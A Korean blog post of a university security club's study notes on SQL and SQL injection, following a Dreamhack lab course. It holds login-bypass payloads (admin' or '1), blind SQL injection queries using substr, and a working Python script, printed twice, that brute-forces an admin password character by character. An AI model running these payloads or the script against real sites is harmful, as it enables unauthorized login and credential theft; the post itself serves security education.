ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [SISS/웹해킹 스터디] 2학기 6주차 스터디 - SQL Injection
    24-2 SISS/웹해킹 2024. 11. 3. 23:00

    2학기 6주차 스터디 - SQL Injection
    수강 인증 화면 캡쳐

    : 6주차 10/28 ~ 11/03 [드림핵] SQL Injection

     

    데이터베이스


    • DBMS(DataBase Management System)
      • 데이터 관리(기록, 수정, 삭제, 접근, 조회 등)
      • 종류
        • 관계형(테이블) → MySQL, MariaDB, PostgreSQL, SQLite
        • 비관계형(키-값) → MongoDB, CouchDB, Rdeis

     

    관계형 데이터베이스


    • Relational DBMS
      • 테이블(행과 열로 구성)을 통해 데이터 관리
      • SQL(쿼리 언어) 사용
      • 기본 구조 → 데이터 < 테이블 < 데이터베이스

     

    • SQL(Structured Query Language)
      • 질의를 위해 사용
      언어 설명
      언어 설명
      DDL(Data Definition Language) 데이터 정의
      스키마, DB 생성/수정/삭제 등을 수행
      DML(Data Manipulation Language) 데이터 조작
      데이터 조회/저장/수정/삭제 등을 수행
      DCL(Data Control Language) 접근 권한 등 설정
      GRANT(권한 부여), REVOKE(권한 제거)가 대표적

     

    • DDL → DB, 테이블 생성
      • 데이터베이스 생성
      • 테이블 생성
        • 자료형 → INT, VARCHAR, …
        • 조건 → AUTO_INCREMENT, NOT NULL, …
        // 데이터베이스 생성
        CREATE DATABASE DB명;
        
        // 테이블을 생성할 DB 선택
        USE DB명;
        
        // 테이블 생성
        CREATE TABLE 테이블명 (
        	컬럼명 자료형 조건,
        	...
        	PRIMARY KEY(키로 사용할 컬럼명)
        );

     

    • DML → 데이터 추가
      • 테이블 데이터 생성
        • 현재 시각 → Now()
      • 테이블 데이터 조회 
      • 테이블 데이터 변경
    // INSERT
    INSERT INTO
    	테이블명(컬럼1, ...)
    Values(
    	데이터1,
    	...
    );
    
    // SELECT
    SELECT
    	컬럼1, ...
    FROM
    	테이블명
    WHERE
    	키_컬럼=찾으려는키;
        
    // UPDATE
    UPDATE 테이블명 SET 변경컬럼명=변경데이
    	Where 키_컬럼=찾으려는키;

     

    SQL Injection

     

    • Injection → 입력값이 구조나 문법적인 데이터로 해석되어 발생하는 취약점

     

    • SQL Injection → SQL 구문에 임의 문자열을 삽입하는 것 → 쿼리를 조작하여 인증을 우회하거나 DB의 정보를 유출할 수 있음
      • 로그인 기능을 위한 쿼리
      • 조작한 쿼리 예시 → admin 계정의 비밀번호를 비교하지 않고 계정 정보를 반환하므로 admin으로 로그인할 수 있음
    /* 로그인 기능을 위한 쿼리 */
    /*
    - SELECT: 조회
    - *: 테이블의 모든 컬럼에 대하여
    - FROM accounts: accounts 테이블에서 조회
    - WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터 범위 내
    -> accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
    */
    SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
    
    /* 조작 쿼리 예시 */
    /*
    accounts 테이블에서 아이디가 admin인 데이터를 조회
    */
    SELECT * FROM accounts WHERE user_id='admin'

     

    • Blind SQL Injection
      • 참/거짓 반환 결과를 통해 데이터를 획득하는 방법(질의 결과를 화면에서 직접 확인하지 못할 경우)
      • DB의 데이터를 탈취할 경우 주로 사용
      • (한 번에 알아내는 것이 아닌 스무고개와 같이 여러 번 질의함으로써 한 바이트씩 알 수 있음)
      • 공격 쿼리 예시
        • substr(문자열, 시작, 길이) → 문자열에서 지정한 위치부터 길이까지의 값을 반환
        # 첫 번째 글자 구하기
        SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='a'-- ' and upw=''; # False
        SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='b'-- ' and upw=''; # True
        # 두 번째 글자 구하기
        SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='d'-- ' and upw=''; # False
        SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='e'-- ' and upw=''; # True 
        
      • 공격 스크립트 예시
        • 공격 자동화 → 한 바이트씩 모든 문자를 비교하는 반복문 작성 → “Login success”를 반환한 문자를 변수에 저장
          # HTTP POST 메소드 통신
          import requests
          url = '<https://dreamhack.io/>'
          headers = {
              'Content-Type': 'application/x-www-form-urlencoded',
              'User-Agent': 'DREAMHACK_REQUEST'
          }
          data = {
              'test': 1,
          }
          for i in range(1, 5):
              c = requests.post(url + str(i), headers=headers, data=data)
              print(c.text)
          
          # Blind SQL Injection 공격 스크립트
          #!/usr/bin/python3
          import requests
          import string
          # example URL
          url = '<http://example.com/login>'
          params = {
              'uid': '',
              'upw': ''
          }
          # ascii printables
          tc = string.printable
          # 사용할 SQL Injection 쿼리
          query = '''admin' and substr(upw,{idx},1)='{val}'-- '''
          password = ''
          # 비밀번호 길이는 20자 이하라 가정
          for idx in range(0, 20):
              for ch in tc:
                  # query를 이용하여 Blind SQL Injection 시도
                  params['uid'] = query.format(idx=idx+1, val=ch).strip("\\n")
                  c = requests.get(url, params=params)
                  print(c.request.url)
                  # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
                  if c.text.find("Login success") != -1:
                      password += ch
                      break
          print(f"Password is {password}")
          
    # Blind SQL Injection 공격 스크립트
    #!/usr/bin/python3
    import requests
    import string
    # example URL
    url = 'http://example.com/login'
    params = {
        'uid': '',
        'upw': ''
    }
    # ascii printables
    tc = string.printable
    # 사용할 SQL Injection 쿼리
    query = '''admin' and substr(upw,{idx},1)='{val}'-- '''
    password = ''
    # 비밀번호 길이는 20자 이하라 가정
    for idx in range(0, 20):
        for ch in tc:
            # query를 이용하여 Blind SQL Injection 시도
            params['uid'] = query.format(idx=idx+1, val=ch).strip("\n")
            c = requests.get(url, params=params)
            print(c.request.url)
            # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
            if c.text.find("Login success") != -1:
                password += ch
                break
    print(f"Password is {password}")

     

    •  실습
      • user_table
        • (guest, guest)
        • (admin, 비밀번호)
      • SQL Injection
        • (admin’ or ‘1, -) 입력 → 항상 참이되므로 관리자 계정으로 로그인 가능
      • Blind SQL Injection
        • 쿼리 실행 결과를 보여주지 않음
        • 비밀번호는 다섯 글자 과일(영어 소문자)
        • 첫 글자
          • (uid) admin' and substr(upw,1,1)='a'--
          • (uid) admin' and substr(upw,1,1)='b'--
        • 두 번째 글자
          • (uid) admin' and substr(upw,2,1)='e’--
        • 비밀번호 획득 → (admin, berry) 입력

    SQL Injection 실습
    Blind SQL Injection 실습

    •  
Designed by Tistory.